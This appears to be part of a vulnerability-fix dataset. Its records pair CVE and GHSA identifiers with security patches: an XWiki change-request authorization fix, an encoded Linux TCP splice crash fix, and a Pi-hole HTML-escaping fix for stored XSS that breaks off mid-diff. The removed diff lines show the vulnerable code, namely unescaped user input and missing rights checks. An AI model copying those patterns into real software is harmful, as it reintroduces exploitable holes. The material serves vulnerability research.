diff --git a/application-changerequest-default/src/main/java/org/xwiki/contrib/changerequest/script/ChangeRequestAuthorizationScriptService.java b/application-changerequest-default/src/main/java/org/xwiki/contrib/changerequest/script/ChangeRequestAuthorizationScriptService.java
index 7b33bac2..e94d30d7 100644
--- a/application-changerequest-default/src/main/java/org/xwiki/contrib/changerequest/script/ChangeRequestAuthorizationScriptService.java
+++ b/application-changerequest-default/src/main/java/org/xwiki/contrib/changerequest/script/ChangeRequestAuthorizationScriptService.java
@@ -242,4 +242,33 @@ public boolean isAuthorizedToSplit(ChangeRequest changeRequest)
         UserReference currentUserReference = this.currentUserReferenceResolver.resolve(CurrentUserReference.INSTANCE);
         return this.changeRequestRightsManager.isAuthorizedToSplit(currentUserReference, changeRequest);
     }
+
+    /**
+     * Check if the current user is allowed to use change request to edit the given document reference.
+     * @param documentReference the reference for which to check authorization
+     * @return {@code true} if current user is allowed to perform the edition with change request
+     * @throws ChangeRequestException in case of problem when performing the checks
+     * @since 1.10
+     */
+    public boolean isEditWithChangeRequestAllowed(DocumentReference documentReference) throws ChangeRequestException
+    {
+        UserReference currentUserReference = this.currentUserReferenceResolver.resolve(CurrentUserReference.INSTANCE);
+        return this.changeRequestRightsManager.isEditWithChangeRequestAllowed(currentUserReference, documentReference);
+    }
+
+    /**
+     * Check if the current user is allowed to use change request to create a document having the given reference for
+     * parent.
+     * @param parentSpaceReference the parent space where the new document would be created
+     * @return {@code true} if current user is allowed to create a document with change request at the given place
+     * @throws ChangeRequestException in case of problem when performing the checks
+     * @since 1.10
+     */
+    public boolean isCreateWithChangeRequestAllowed(DocumentReference parentSpaceReference)
+        throws ChangeRequestException
+    {
+        UserReference currentUserReference = this.currentUserReferenceResolver.resolve(CurrentUserReference.INSTANCE);
+        return this.changeRequestRightsManager.isCreateWithChangeRequestAllowed(currentUserReference,
+            parentSpaceReference);
+    }
 }
diff --git a/application-changerequest-default/src/test/java/org/xwiki/contrib/changerequest/internal/DefaultChangeRequestRightsManagerTest.java b/application-changerequest-default/src/test/java/org/xwiki/contrib/changerequest/internal/DefaultChangeRequestRightsManagerTest.java
index 1c5ab48d..7bd46d0d 100644
--- a/application-changerequest-default/src/test/java/org/xwiki/contrib/changerequest/internal/DefaultChangeRequestRightsManagerTest.java
+++ b/application-changerequest-default/src/test/java/org/xwiki/contrib/changerequest/internal/DefaultChangeRequestRightsManagerTest.java
@@ -23,12 +23,15 @@
 import java.util.Arrays;
 import java.util.Collections;
 import java.util.HashSet;
+import java.util.LinkedHashMap;
 import java.util.List;
+import java.util.Map;
 import java.util.Set;
 import java.util.stream.Collectors;
 import java.util.stream.Stream;
 
 import javax.inject.Inject;
+import javax.inject.Provider;
 
 import org.junit.jupiter.api.Test;
 import org.xwiki.contrib.changerequest.ApproversManager;
@@ -39,6 +42,7 @@
 import org.xwiki.contrib.changerequest.DelegateApproverManager;
 import org.xwiki.contrib.changerequest.FileChange;
 import org.xwiki.contrib.changerequest.internal.approvers.ChangeRequestApproversManager;
+import org.xwiki.contrib.changerequest.rights.ChangeRequestRight;
 import org.xwiki.contrib.rights.RightsReader;
 import org.xwiki.contrib.rights.RightsWriter;
 import org.xwiki.contrib.rights.SecurityRuleAbacus;
@@ -61,7 +65,14 @@
 import org.xwiki.user.GuestUserReference;
 import org.xwiki.user.UserReference;
 
+import com.xpn.xwiki.XWiki;
+import com.xpn.xwiki.XWikiContext;
 import com.xpn.xwiki.XWikiException;
+import com.xpn.xwiki.doc.XWikiDocument;
+import com.xpn.xwiki.objects.BaseObject;
+import com.xpn.xwiki.objects.classes.BaseClass;
+import com.xpn.xwiki.objects.classes.PasswordClass;
+import com.xpn.xwiki.objects.classes.PropertyClass;
 
 import static org.junit.jupiter.api.Assertions.assertFalse;
 import static org.junit.jupiter.api.Assertions.assertTrue;
@@ -70,6 +81,7 @@
 import static org.mockito.Mockito.doAnswer;
 import static org.mockito.Mockito.mock;
 import static org.mockito.Mockito.never;
+import static org.mockito.Mockito.times;
 import static org.mockito.Mockito.verify;
 import static org.mockito.Mockito.verifyNoInteractions;
 import static org.mockito.Mockito.when;
@@ -113,6 +125,9 @@ class DefaultChangeRequestRightsManagerTest
     @MockComponent
     private DelegateApproverManager<ChangeRequest> changeRequestDelegateApproverManager;
 
+    @MockComponent
+    private Provider<XWikiContext> contextProvider;
+
     @Test
     void copyAllButViewRights() throws AuthorizationException, ChangeRequestException, XWikiException
     {
@@ -867,4 +882,92 @@ void isAuthorizedToComment() throws ChangeRequestException
         when(this.changeRequestApproversManager.isApprover(userReference, changeRequest, false)).thenReturn(false);
         assertFalse(this.rightsManager.isAuthorizedToComment(userReference, changeRequest));
     }
+
+    @Test
+    void isCreateWithChangeRequestAllowed() throws ChangeRequestException
+    {
+        Right crRight = ChangeRequestRight.getRight();
+        UserReference userReference = mock(UserReference.class);
+        DocumentReference userDocReference = mock(DocumentReference.class);
+        DocumentReference parentSpaceReference = mock(DocumentReference.class);
+
+        when(this.userReferenceConverter.convert(userReference)).thenReturn(userDocReference);
+        when(this.authorizationManager.hasAccess(crRight, userDocReference, parentSpaceReference)).thenReturn(true);
+        assertTrue(this.rightsManager.isCreateWithChangeRequestAllowed(userReference, parentSpaceReference));
+
+        verify(this.authorizationManager).hasAccess(crRight, userDocReference, parentSpaceReference);
+    }
+
+    @Test
+    void isEditWithChangeRequestAllowed() throws ChangeRequestException, XWikiException
+    {
+        Right crRight = ChangeRequestRight.getRight();
+        UserReference userReference = mock(UserReference.class);
+        DocumentReference userDocReference = mock(DocumentReference.class);
+        DocumentReference documentReference = mock(DocumentReference.class);
+        XWikiDocument document = mock(XWikiDocument.class);
+        XWiki wiki = mock(XWiki.class);
+        XWikiContext context = mock(XWikiContext.class);
+
+        when(this.userReferenceConverter.convert(userReference)).thenReturn(userDocReference);
+        when(this.contextProvider.get()).thenReturn(context);
+        when(context.getWiki()).thenReturn(wiki);
+        when(wiki.getDocument(documentReference, context)).thenReturn(document);
+        when(this.authorizationManager.hasAccess(crRight, userDocReference, documentReference)).thenReturn(false);
+
+        assertFalse(this.rightsManager.isEditWithChangeRequestAllowed(userReference, documentReference));
+
+        verify(this.authorizationManager).hasAccess(crRight, userDocReference, documentReference);
+        verifyNoInteractions(document);
+
+        when(this.authorizationManager.hasAccess(crRight, userDocReference, documentReference)).thenReturn(true);
+        when(document.isNew()).thenReturn(true);
+        assertTrue(this.rightsManager.isEditWithChangeRequestAllowed(userReference, documentReference));
+
+        verify(this.authorizationManager, times(2)).hasAccess(crRight, userDocReference, documentReference);
+
+        when(document.isNew()).thenReturn(false);
+
+        DocumentReference objReference1 = mock(DocumentReference.class);
+        DocumentReference objReference2 = mock(DocumentReference.class);
+
+        BaseObject baseObject1 = mock(BaseObject.class);
+        BaseObject baseObject2 = mock(BaseObject.class);
+        BaseObject baseObject3 = mock(BaseObject.class);
+
+        List<BaseObject> baseObjectList1 = Arrays.asList(null, baseObject1);
+        List<BaseObject> baseObjectList2 = Arrays.asList(null, baseObject2, baseObject3);
+
+        Map<DocumentReference, List<BaseObject>> objectMap = new LinkedHashMap<>();
+        objectMap.put(objReference1, baseObjectList1);
+        objectMap.put(objReference2, baseObjectList2);
+
+        when(document.getXObjects()).thenReturn(objectMap);
+        BaseClass class1 = mock(BaseClass.class);
+        List<PropertyClass> propertyClasses = List.of(mock(PropertyClass.class), mock(PropertyClass.class),
+            mock(PasswordClass.class));
+        when(class1.getFieldList()).thenReturn(propertyClasses);
+        when(baseObject1.getXClass(context)).thenReturn(class1);
+
+        assertFalse(this.rightsManager.isEditWithChangeRequestAllowed(userReference, documentReference));
+        verify(baseObject1).getXClass(context);
+        verifyNoInteractions(baseObject2);
+        verifyNoInteractions(baseObject3);
+
+        when(class1.getFieldList()).thenReturn(List.of(mock(PropertyClass.class)));
+        BaseClass class2 = mock(BaseClass.class);
+        when(class2.getFieldList()).thenReturn(List.of(mock(PasswordClass.class)));
+        when(baseObject2.getXClass(context)).thenReturn(class2);
+
+        assertFalse(this.rightsManager.isEditWithChangeRequestAllowed(userReference, documentReference));
+        verify(baseObject1, times(2)).getXClass(context);
+        verify(baseObject2).getXClass(context);
+        verifyNoInteractions(baseObject3);
+
+        when(class2.getFieldList()).thenReturn(List.of());
+        assertTrue(this.rightsManager.isEditWithChangeRequestAllowed(userReference, documentReference));
+        verify(baseObject1, times(3)).getXClass(context);
+        verify(baseObject2, times(2)).getXClass(context);
+        verifyNoInteractions(baseObject3);
+    }
 }
diff --git a/application-changerequest-default/src/test/java/org/xwiki/contrib/changerequest/internal/handlers/AddChangesChangeRequestHandlerTest.java b/application-changerequest-default/src/test/java/org/xwiki/contrib/changerequest/internal/handlers/AddChangesChangeRequestHandlerTest.java
index 0228d19b..f70d8b97 100644
--- a/application-changerequest-default/src/test/java/org/xwiki/contrib/changerequest/internal/handlers/AddChangesChangeRequestHandlerTest.java
+++ b/application-changerequest-default/src/test/java/org/xwiki/contrib/changerequest/internal/handlers/AddChangesChangeRequestHandlerTest.java
@@ -30,6 +30,7 @@
 import org.suigeneris.jrcs.rcs.Version;
 import org.xwiki.contrib.changerequest.ApproversManager;
 import org.xwiki.contrib.changerequest.ChangeRequest;
+import org.xwiki.contrib.changerequest.ChangeRequestException;
 import org.xwiki.contrib.changerequest.ChangeRequestManager;
 import org.xwiki.contrib.changerequest.ChangeRequestMergeManager;
 import org.xwiki.contrib.changerequest.ChangeRequestReference;
@@ -59,9 +60,12 @@
 import com.xpn.xwiki.web.XWikiRequest;
 import com.xpn.xwiki.web.XWikiResponse;
 
+import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.junit.jupiter.api.Assertions.assertThrows;
 import static org.mockito.ArgumentMatchers.any;
 import static org.mockito.ArgumentMatchers.eq;
 import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.times;
 import static org.mockito.Mockito.verify;
 import static org.mockito.Mockito.when;
 
@@ -185,6 +189,8 @@ void handleFileChangeNotExisting() throws Exception
         String url = "some url";
         when(wiki.getURL(changeRequestDocReference, "view", context)).thenReturn(url);
 
+        when(this.changeRequestRightsManager.isEditWithChangeRequestAllowed(userReference, documentReference))
+            .thenReturn(true);
         this.handler.handle(changeRequestReference);
         verify(this.requestParameterConverter).convert(request, response);
         verify(document).clone();
@@ -210,7 +216,7 @@ void handleFileChangeExistingNoConflict() throws Exception
         when(this.requestParameterConverter.convert(request, response)).thenReturn(Optional.of(request));
         String docReference = "XWiki.Doc.Reference";
         when(request.getParameter("docReference")).thenReturn(docReference);
-        DocumentReference documentReference = mock(DocumentReference.class);
+        DocumentReference documentReference = mock(DocumentReference.class, "editedDoc");
         when(this.documentReferenceResolver.resolve(docReference)).thenReturn(documentReference);
         XWikiDocument document = mock(XWikiDocument.class);
         when(wiki.getDocument(documentReference, context)).thenReturn(document);
@@ -222,7 +228,7 @@ void handleFileChangeExistingNoConflict() throws Exception
         ChangeRequest changeRequest = mock(ChangeRequest.class);
         when(this.storageManager.load(changeRequestId)).thenReturn(Optional.of(changeRequest));
         when(changeRequest.getId()).thenReturn(changeRequestId);
-        UserReference userReference = mock(UserReference.class);
+        UserReference userReference = mock(UserReference.class, "currentUser");
         when(this.userReferenceResolver.resolve(CurrentUserReference.INSTANCE)).thenReturn(userReference);
         when(request.getParameter(AddChangesChangeRequestHandler.PREVIOUS_VERSION_PARAMETER)).thenReturn("2.1");
 
@@ -261,9 +267,18 @@ void handleFileChangeExistingNoConflict() throws Exception
         String url = "some url";
         when(wiki.getURL(changeRequestDocReference, "view", context)).thenReturn(url);
 
+        when(this.changeRequestRightsManager.isEditWithChangeRequestAllowed(userReference, documentReference))
+            .thenReturn(false);
+        ChangeRequestException changeRequestException =
+            assertThrows(ChangeRequestException.class, () -> this.handler.handle(changeRequestReference));
+        assertEquals("User [currentUser] is not allowed to edit the document [editedDoc] through a change request.",
+            changeRequestException.getMessage());
+
+        when(this.changeRequestRightsManager.isEditWithChangeRequestAllowed(userReference, documentReference))
+            .thenReturn(true);
         this.handler.handle(changeRequestReference);
 
-        verify(this.requestParameterConverter).convert(request, response);
+        verify(this.requestParameterConverter, times(2)).convert(request, response);
         verify(document).clone();
         verify(document).readFromForm(any(EditForm.class), eq(context));
         verify(changeRequest).addFileChange(expectedFileChange);
diff --git a/application-changerequest-default/src/test/java/org/xwiki/contrib/changerequest/internal/handlers/CreateChangeRequestHandlerTest.java b/application-changerequest-default/src/test/java/org/xwiki/contrib/changerequest/internal/handlers/CreateChangeRequestHandlerTest.java
index 6a3d96c9..ca9deff0 100644
--- a/application-changerequest-default/src/test/java/org/xwiki/contrib/changerequest/internal/handlers/CreateChangeRequestHandlerTest.java
+++ b/application-changerequest-default/src/test/java/org/xwiki/contrib/changerequest/internal/handlers/CreateChangeRequestHandlerTest.java
@@ -30,6 +30,8 @@
 import org.junit.jupiter.api.Test;
 import org.suigeneris.jrcs.rcs.Version;
 import org.xwiki.contrib.changerequest.ChangeRequest;
+import org.xwiki.contrib.changerequest.ChangeRequestException;
+import org.xwiki.contrib.changerequest.ChangeRequestRightsManager;
 import org.xwiki.contrib.changerequest.ChangeRequestStatus;
 import org.xwiki.contrib.changerequest.FileChange;
 import org.xwiki.contrib.changerequest.events.ChangeRequestCreatedEvent;
@@ -54,6 +56,7 @@
 import com.xpn.xwiki.web.XWikiResponse;
 
 import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.junit.jupiter.api.Assertions.assertThrows;
 import static org.mockito.ArgumentMatchers.any;
 import static org.mockito.ArgumentMatchers.eq;
 import static org.mockito.Mockito.doAnswer;
@@ -95,6 +98,9 @@ class CreateChangeRequestHandlerTest
     @MockComponent
     private UserReferenceResolver<CurrentUserReference> userReferenceResolver;
 
+    @MockComponent
+    private ChangeRequestRightsManager changeRequestRightsManager;
+
     private XWikiContext context;
     private XWikiRequest httpServletRequest;
     private XWikiResponse httpServletResponse;
@@ -126,7 +132,7 @@ void handle() throws Exception
             .thenReturn(Optional.of(this.httpServletRequest));
         String serializedReference = "XWiki.SomeReference";
         when(this.httpServletRequest.getParameter("docReference")).thenReturn(serializedReference);
-        DocumentReference documentReference = mock(DocumentReference.class);
+        DocumentReference documentReference = mock(DocumentReference.class, "editedDoc");
         when(this.documentReferenceResolver.resolve(serializedReference)).thenReturn(documentReference);
         XWikiDocument modifiedDocument = mock(XWikiDocument.class);
         when(this.xWiki.getDocument(documentReference, this.context)).thenReturn(modifiedDocument);
@@ -139,7 +145,7 @@ void handle() throws Exception
         when(this.httpServletRequest.getParameter("crTitle")).thenReturn(title);
         when(this.httpServletRequest.getParameter("crDescription")).thenReturn(description);
 
-        UserReference userReference = mock(UserReference.class);
+        UserReference userReference = mock(UserReference.class, "currentUser");
         when(this.userReferenceResolver.resolve(CurrentUserReference.INSTANCE)).thenReturn(userReference);
         String previousVersion = "3.2";
         when(this.httpServletRequest.getParameter("previousVersion")).thenReturn(previousVersion);
@@ -184,7 +190,19 @@ void handle() throws Exception
         String expectedURL = "/mycr";
         when(this.xWiki.getURL(crDocReference, "view", this.context)).thenReturn(expectedURL);
 
+        when(this.changeRequestRightsManager.isEditWithChangeRequestAllowed(userReference, documentReference))
+            .thenReturn(false);
+        when(this.changeRequestRightsManager.isEditWithChangeRequestAllowed(userReference, documentReference))
+            .thenReturn(false);
+        ChangeRequestException changeRequestException =
+            assertThrows(ChangeRequestException.class, () -> this.handler.handle(null));
+        assertEquals("User [currentUser] is not allowed to edit the document [editedDoc] through a change request.",
+            changeRequestException.getMessage());
+
+        when(this.changeRequestRightsManager.isEditWithChangeRequestAllowed(userReference, documentReference))
+            .thenReturn(true);
         this.handler.handle(null);
+
         verify(this.storageManager).save(expectedChangeRequest);
         verify(this.observationManager)
             .notify(any(ChangeRequestCreatedEvent.class), eq(crId), eq(expectedChangeRequest));
diff --git a/application-changerequest-ui/src/main/resources/ChangeRequest/Code/EditPageUIX.xml b/application-changerequest-ui/src/main/resources/ChangeRequest/Code/EditPageUIX.xml
index f917c721..5cd2f23f 100644
--- a/application-changerequest-ui/src/main/resources/ChangeRequest/Code/EditPageUIX.xml
+++ b/application-changerequest-ui/src/main/resources/ChangeRequest/Code/EditPageUIX.xml
@@ -293,7 +293,8 @@
 {{html clean='false'}}
 #template("xwikivars.vm")
 #set ($crEditName = "changerequest")
-#set ($hasCREdit = $services.security.authorization.isRightRegistered($crEditName) &amp;&amp; $services.security.authorization.hasAccess($crEditName, $tdoc))
+#set ($hasCREdit = $services.changerequest.authorization.isEditWithChangeRequestAllowed($doc.getDocumentReference()))
+#set ($hasCRCreate = $services.changerequest.authorization.isCreateWithChangeRequestAllowed($doc.getDocumentReference()))
 #set ($hasEdit = $services.security.authorization.hasAccess('edit', $tdoc))
 #set ($hasCreateButton = ($hasCreateSpace || $hasCreatePage))
 #set ($editURL = $doc.getURL('editcr'))
@@ -306,6 +307,8 @@
   &lt;/a&gt;
 &lt;/div&gt;
 #end
+#end
+#if (!$isReadOnly &amp;&amp; $hasCRCreate)
 #if (!$hasCreateButton)
 &lt;div class="btn-group" id="crCreate"&gt;
   &lt;a href="$createURL" role="button" title="$services.localization.render('changerequest.create.button.title')" class="btn btn-default"&gt;
diff --git a/application-changerequest-ui/src/main/resources/ChangeRequest/Code/SaveButtonsUIX.xml b/application-changerequest-ui/src/main/resources/ChangeRequest/Code/SaveButtonsUIX.xml
index ea5de517..5a27a986 100644
--- a/application-changerequest-ui/src/main/resources/ChangeRequest/Code/SaveButtonsUIX.xml
+++ b/application-changerequest-ui/src/main/resources/ChangeRequest/Code/SaveButtonsUIX.xml
@@ -370,7 +370,7 @@
     <property>
       <content>{{velocity}}
 #set ($crEditName = "changerequest")
-#set ($hasCREdit = $services.security.authorization.isRightRegistered($crEditName) &amp;&amp; $services.security.authorization.hasAccess($crEditName, $tdoc))
+#set ($hasCREdit = $services.changerequest.authorization.isEditWithChangeRequestAllowed($doc.getDocumentReference()))
 ## we need to also inject this in view action, because of the inplace editing mode.
 #set ($isEditOrViewAction = ($xcontext.action == 'edit' || $xcontext.action == 'view'))
 #if ($hasCREdit &amp;&amp; $isEditOrViewAction)", "url": "https://github.com/xwiki-contrib/application-changerequest/commit/ff0f5368ea04f0e4aa7b33821c707dc68a8c5ca8.patch" } ]
null
CVE-2013-2128
The tcp_read_sock function in net/ipv4/tcp.c in the Linux kernel before 2.6.34 does not properly manage skb consumption, which allows local users to cause a denial of service (system crash) via a crafted splice system call for a TCP socket.
[ { "commit_message": "[PATCH] net: Fix oops from tcp_collapse() when using splice() tcp_read_sock() can have a eat skbs without immediately advancing copied_seq. This can cause a panic in tcp_collapse() if it is called as a result of the recv_actor dropping the socket lock. A userspace program that splices data from a socket to either another socket or to a file can trigger this bug. Signed-off-by: Steven J. Magnani <steve@digidescorp.com> Signed-off-by: David S. Miller <davem@davemloft.net> net/ipv4/tcp.c | 1 + 1 file changed, 1 insertion(+)", "patch_text_b64": "RnJvbSBiYWZmNDJhYjE0OTQ1Mjg5MDdiZjRkNTg3MDM1OWUzMTcxMTc0NmFlIE1vbiBTZXAgMTcgMDA6MDA6MDAgMjAwMQpGcm9tOiAiU3RldmVuIEouIE1hZ25hbmkiIDxzdGV2ZUBkaWdpZGVzY29ycC5jb20+CkRhdGU6IFR1ZSwgMzAgTWFyIDIwMTAgMTM6NTY6MDEgLTA3MDAKU3ViamVjdDogW1BBVENIXSBuZXQ6IEZpeCBvb3BzIGZyb20gdGNwX2NvbGxhcHNlKCkgd2hlbiB1c2luZyBzcGxpY2UoKQoKdGNwX3JlYWRfc29jaygpIGNhbiBoYXZlIGEgZWF0IHNrYnMgd2l0aG91dCBpbW1lZGlhdGVseSBhZHZhbmNpbmcgY29waWVkX3NlcS4KVGhpcyBjYW4gY2F1c2UgYSBwYW5pYyBpbiB0Y3BfY29sbGFwc2UoKSBpZiBpdCBpcyBjYWxsZWQgYXMgYSByZXN1bHQKb2YgdGhlIHJlY3ZfYWN0b3IgZHJvcHBpbmcgdGhlIHNvY2tldCBsb2NrLgoKQSB1c2Vyc3BhY2UgcHJvZ3JhbSB0aGF0IHNwbGljZXMgZGF0YSBmcm9tIGEgc29ja2V0IHRvIGVpdGhlciBhbm90aGVyCnNvY2tldCBvciB0byBhIGZpbGUgY2FuIHRyaWdnZXIgdGhpcyBidWcuCgpTaWduZWQtb2ZmLWJ5OiBTdGV2ZW4gSi4gTWFnbmFuaSA8c3RldmVAZGlnaWRlc2NvcnAuY29tPgpTaWduZWQtb2ZmLWJ5OiBEYXZpZCBTLiBNaWxsZXIgPGRhdmVtQGRhdmVtbG9mdC5uZXQ+Ci0tLQogbmV0L2lwdjQvdGNwLmMgfCAxICsKIDEgZmlsZSBjaGFuZ2VkLCAxIGluc2VydGlvbigrKQoKZGlmZiAtLWdpdCBhL25ldC9pcHY0L3RjcC5jIGIvbmV0L2lwdjQvdGNwLmMKaW5kZXggNmFmYjZkODY2MmIyY2UuLjJjNzVmODkxOTE0ZTgzIDEwMDY0NAotLS0gYS9uZXQvaXB2NC90Y3AuYworKysgYi9uZXQvaXB2NC90Y3AuYwpAQCAtMTM2OCw2ICsxMzY4LDcgQEAgaW50IHRjcF9yZWFkX3NvY2soc3RydWN0IHNvY2sgKnNrLCByZWFkX2Rlc2NyaXB0b3JfdCAqZGVzYywKIAkJc2tfZWF0X3NrYihzaywgc2tiLCAwKTsKIAkJaWYgKCFkZXNjLT5jb3VudCkKIAkJCWJyZWFrOworCQl0cC0+Y29waWVkX3NlcSA9IHNlcTsKIAl9CiAJdHAtPmNvcGllZF9zZXEgPSBzZXE7", "url": "https://github.com/torvalds/linux/commit/baff42ab1494528907bf4d5870359e31711746ae.patch" } ]
n/a
GHSA-wjqw-p6cv-p8gj
null
[ { "commit_message": "[PATCH] missed one (yes yes this can all be squashed) Signed-off-by: Adam Warner <me@adamwarner.co.uk> scripts/pi-hole/js/groups-clients.js | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-)", "patch_text_b64": "RnJvbSA4ZjZlMTM2NWI2ZGVjMGFlMWFhMGIwYjE1YjEwMmM5MTMzZjM0N2U1IE1vbiBTZXAgMTcgMDA6MDA6MDAgMjAwMQpGcm9tOiBBZGFtIFdhcm5lciA8bWVAYWRhbXdhcm5lci5jby51az4KRGF0ZTogU2F0LCAxMyBKdW4gMjAyMCAxNDozMTowOSArMDEwMApTdWJqZWN0OiBbUEFUQ0hdIG1pc3NlZCBvbmUgKHllcyB5ZXMgdGhpcyBjYW4gYWxsIGJlIHNxdWFzaGVkKQoKU2lnbmVkLW9mZi1ieTogQWRhbSBXYXJuZXIgPG1lQGFkYW13YXJuZXIuY28udWs+Ci0tLQogc2NyaXB0cy9waS1ob2xlL2pzL2dyb3Vwcy1jbGllbnRzLmpzIHwgMiArLQogMSBmaWxlIGNoYW5nZWQsIDEgaW5zZXJ0aW9uKCspLCAxIGRlbGV0aW9uKC0pCgpkaWZmIC0tZ2l0IGEvc2NyaXB0cy9waS1ob2xlL2pzL2dyb3Vwcy1jbGllbnRzLmpzIGIvc2NyaXB0cy9waS1ob2xlL2pzL2dyb3Vwcy1jbGllbnRzLmpzCmluZGV4IDMyYTk0ZDRiM2UuLjcwZmY4MWZmMzkgMTAwNjQ0Ci0tLSBhL3NjcmlwdHMvcGktaG9sZS9qcy9ncm91cHMtY2xpZW50cy5qcworKysgYi9zY3JpcHRzL3BpLWhvbGUvanMvZ3JvdXBzLWNsaWVudHMuanMKQEAgLTMwMyw3ICszMDMsNyBAQCBmdW5jdGlvbiBlZGl0Q2xpZW50KCkgewogICB2YXIgdHIgPSAkKHRoaXMpLmNsb3Nlc3QoInRyIik7CiAgIHZhciBpZCA9IHRyLmF0dHIoImRhdGEtaWQiKTsKICAgdmFyIGdyb3VwcyA9IHRyLmZpbmQoIiNtdWx0aXNlbGVjdF8iICsgaWQpLnZhbCgpOwotICB2YXIgaXAgPSB0ci5maW5kKCIjaXBfIiArIGlkKS50ZXh0KCk7CisgIHZhciBpcCA9IHV0aWxzLmVzY2FwZUh0bWwodHIuZmluZCgiI2lwXyIgKyBpZCkudGV4dCgpKTsKICAgdmFyIG5hbWUgPSB1dGlscy5lc2NhcGVIdG1sKHRyLmZpbmQoIiNuYW1lXyIgKyBpZCkudGV4dCgpKTsKICAgdmFyIGNvbW1lbnQgPSB1dGlscy5lc2NhcGVIdG1sKHRyLmZpbmQoIiNjb21tZW50XyIgKyBpZCkudmFsKCkpOw==", "url": "https://github.com/pi-hole/AdminLTE/commit/8f6e1365b6dec0ae1aa0b0b15b102c9133f347e5.patch" }, { "commit_message": "[PATCH] make use of utils.escapeHtml on the JS side of things, and html_entity_decode/htmlentities in PHP Signed-off-by: Adam Warner <me@adamwarner.co.uk> dns_records.php | 1 + scripts/pi-hole/js/customdns.js | 6 +++-- scripts/pi-hole/js/groups-adlists.js | 10 +++---- scripts/pi-hole/js/groups-clients.js | 12 ++++----- scripts/pi-hole/js/groups-domains.js | 10 +++---- scripts/pi-hole/js/groups.js | 10 +++---- scripts/pi-hole/php/database.php | 4 +-- scripts/pi-hole/php/func.php | 39 +++++++++++++++------------- scripts/pi-hole/php/groups.php | 25 ++++++++++-------- scripts/pi-hole/php/teleporter.php | 4 +-- settings.php | 4 +-- 11 files changed, 67 insertions(+), 58 deletions(-)", "patch_text_b64": "From c949516ee15fa6a9b0c8511cc4c4d6b0893f3e69 Mon Sep 17 00:00:00 2001
From: Adam Warner <me@adamwarner.co.uk>
Date: Sat, 13 Jun 2020 18:50:36 +0100
Subject: [PATCH] make use of utils.escapeHtml on the JS side of things, and
 html_entity_decode/htmlentities in PHP

Signed-off-by: Adam Warner <me@adamwarner.co.uk>
---
 dns_records.php                      |  1 +
 scripts/pi-hole/js/customdns.js      |  6 +++--
 scripts/pi-hole/js/groups-adlists.js | 10 +++----
 scripts/pi-hole/js/groups-clients.js | 12 ++++-----
 scripts/pi-hole/js/groups-domains.js | 10 +++----
 scripts/pi-hole/js/groups.js         | 10 +++----
 scripts/pi-hole/php/database.php     |  4 +--
 scripts/pi-hole/php/func.php         | 39 +++++++++++++++-------------
 scripts/pi-hole/php/groups.php       | 25 ++++++++++--------
 scripts/pi-hole/php/teleporter.php   |  4 +--
 settings.php                         |  4 +--
 11 files changed, 67 insertions(+), 58 deletions(-)

diff --git a/dns_records.php b/dns_records.php
index 4d429af44a..dc9e5d5f76 100644
--- a/dns_records.php
+++ b/dns_records.php
@@ -89,6 +89,7 @@
     </div>
 </div>
 
+<script src="scripts/pi-hole/js/utils.js"></script>
 <script src="scripts/pi-hole/js/ip-address-sorting.js"></script>
 <script src="scripts/pi-hole/js/customdns.js"></script>
 
diff --git a/scripts/pi-hole/js/customdns.js b/scripts/pi-hole/js/customdns.js
index 116ea602d7..d2f4ad567c 100644
--- a/scripts/pi-hole/js/customdns.js
+++ b/scripts/pi-hole/js/customdns.js
@@ -5,6 +5,8 @@
  *  This file is copyright under the latest version of the EUPL.
  *  Please see LICENSE file for your rights under this license. */
 
+/* global utils:false */
+
 var table;
 var token = $("#token").text();
 
@@ -76,8 +78,8 @@ $(function () {
 });
 
 function addCustomDNS() {
-  var ip = $("#ip").val();
-  var domain = $("#domain").val();
+  var ip = utils.escapeHtml($("#ip").val());
+  var domain = utils.escapeHtml($("#domain").val());
 
   showAlert("info");
   $.ajax({
diff --git a/scripts/pi-hole/js/groups-adlists.js b/scripts/pi-hole/js/groups-adlists.js
index 4bcdde8185..4f58b1c417 100644
--- a/scripts/pi-hole/js/groups-adlists.js
+++ b/scripts/pi-hole/js/groups-adlists.js
@@ -212,8 +212,8 @@ function initTable() {
 }
 
 function addAdlist() {
-  var address = $("#new_address").val();
-  var comment = $("#new_comment").val();
+  var address = utils.escapeHtml($("#new_address").val());
+  var comment = utils.escapeHtml($("#new_comment").val());
 
   utils.disableAll();
   utils.showAlert("info", "", "Adding adlist...", address);
@@ -258,9 +258,9 @@ function editAdlist() {
   var tr = $(this).closest("tr");
   var id = tr.attr("data-id");
   var status = tr.find("#status_" + id).is(":checked") ? 1 : 0;
-  var comment = tr.find("#comment_" + id).val();
+  var comment = utils.escapeHtml(tr.find("#comment_" + id).val());
   var groups = tr.find("#multiselect_" + id).val();
-  var address = tr.find("#address_" + id).text();
+  var address = utils.escapeHtml(tr.find("#address_" + id).text());
 
   var done = "edited";
   var notDone = "editing";
@@ -338,7 +338,7 @@ function editAdlist() {
 function deleteAdlist() {
   var tr = $(this).closest("tr");
   var id = tr.attr("data-id");
-  var address = tr.find("#address_" + id).text();
+  var address = utils.escapeHtml(tr.find("#address_" + id).text());
 
   utils.disableAll();
   utils.showAlert("info", "", "Deleting adlist...", address);
diff --git a/scripts/pi-hole/js/groups-clients.js b/scripts/pi-hole/js/groups-clients.js
index 609606ce44..70ff81ff39 100644
--- a/scripts/pi-hole/js/groups-clients.js
+++ b/scripts/pi-hole/js/groups-clients.js
@@ -246,9 +246,9 @@ function initTable() {
 
 function addClient() {
   var ip = $("#select").val();
-  var comment = $("#new_comment").val();
+  var comment = utils.escapeHtml($("#new_comment").val());
   if (ip === "custom") {
-    ip = $("#ip-custom").val().trim();
+    ip = utils.escapeHtml($("#ip-custom").val().trim());
   }
 
   utils.disableAll();
@@ -303,9 +303,9 @@ function editClient() {
   var tr = $(this).closest("tr");
   var id = tr.attr("data-id");
   var groups = tr.find("#multiselect_" + id).val();
-  var ip = tr.find("#ip_" + id).text();
-  var name = tr.find("#name_" + id).text();
-  var comment = tr.find("#comment_" + id).val();
+  var ip = utils.escapeHtml(tr.find("#ip_" + id).text());
+  var name = utils.escapeHtml(tr.find("#name_" + id).text());
+  var comment = utils.escapeHtml(tr.find("#comment_" + id).val());
 
   var done = "edited";
   var notDone = "editing";
@@ -370,7 +370,7 @@ function deleteClient() {
   var tr = $(this).closest("tr");
